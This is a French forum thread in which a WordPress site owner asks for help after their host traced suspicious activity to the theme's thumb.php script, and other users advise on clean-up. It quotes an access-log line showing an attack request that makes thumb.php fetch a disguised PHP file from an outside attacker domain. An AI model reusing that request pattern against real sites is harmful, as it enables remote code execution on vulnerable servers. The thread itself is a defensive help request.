Bonjour à tous!

Hier, OVH m'a signalé un problème avec mon site.
Apparemment il y aurait quelque chose de pas net au niveau de thumb.php.

Voilà ce que la maintenance m'a dit :
Après vérification dans les logs, le souci proviendrait de votre thème spectrum.

69.20.9.79 lamadjer.fr - [08/Oct/2011:00:45:45 +0200] "GET
/wp-content/themes/spectrum/thumb.php?src=http://p
icasa.com.xpl.be/yahoo.php HTTP/1.1" 200 714 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6"

Pouvez-vous m'éclaire à ce sujet, et me dire comment réparer ce couac.

Merci de m'avoir lu

Tentatives de hack.

machin/yahoo.php tente de se faire passer pour une image gif mais contient du php non interprété. Il pourrait l'être sur ton serveur. Soit le script thumb.php est sécurisé et on s'en cogne, soit il y a une faille et elle est malheureusement déjà exploitée.

Ah ok, merci de ton aide.
Mais concrètement, que puis-je faire pour réparer le problème et sécuriser thumb.php ?

Ah bah tiens, je viens de trouver un fichier appelé "sex" dans le dossier cache du thème... je l'ai glissé sur mon bureau pour l'analyser en détail -> Avira a crié

Dans temps vires ce fichier. Ensuite, regarde MINUTIEUSEMENT l'ensemble des fichiers de ton Wordpress. Enfin, regarde si ton wordpress est à jour, si cette faille est connue et s'il existe un patch (cf mise à jour ou bien des hack de personnes connues et certifiées).

Ok, je vais scanner tout ça. Existe-t-il d'ailleurs un logiciel détecteur de failles ou de lignes douteuses ? Sinon mon Wordpress est à jour. J'ai essayé de taper l'erreur "picasa/yahoo.be" sur Google, mais y'a que des sites bizarres. Je me demande s'ils ne sont pas infectés jusqu'à l'os, donc je ne préfère pas cliquer.

Merci encore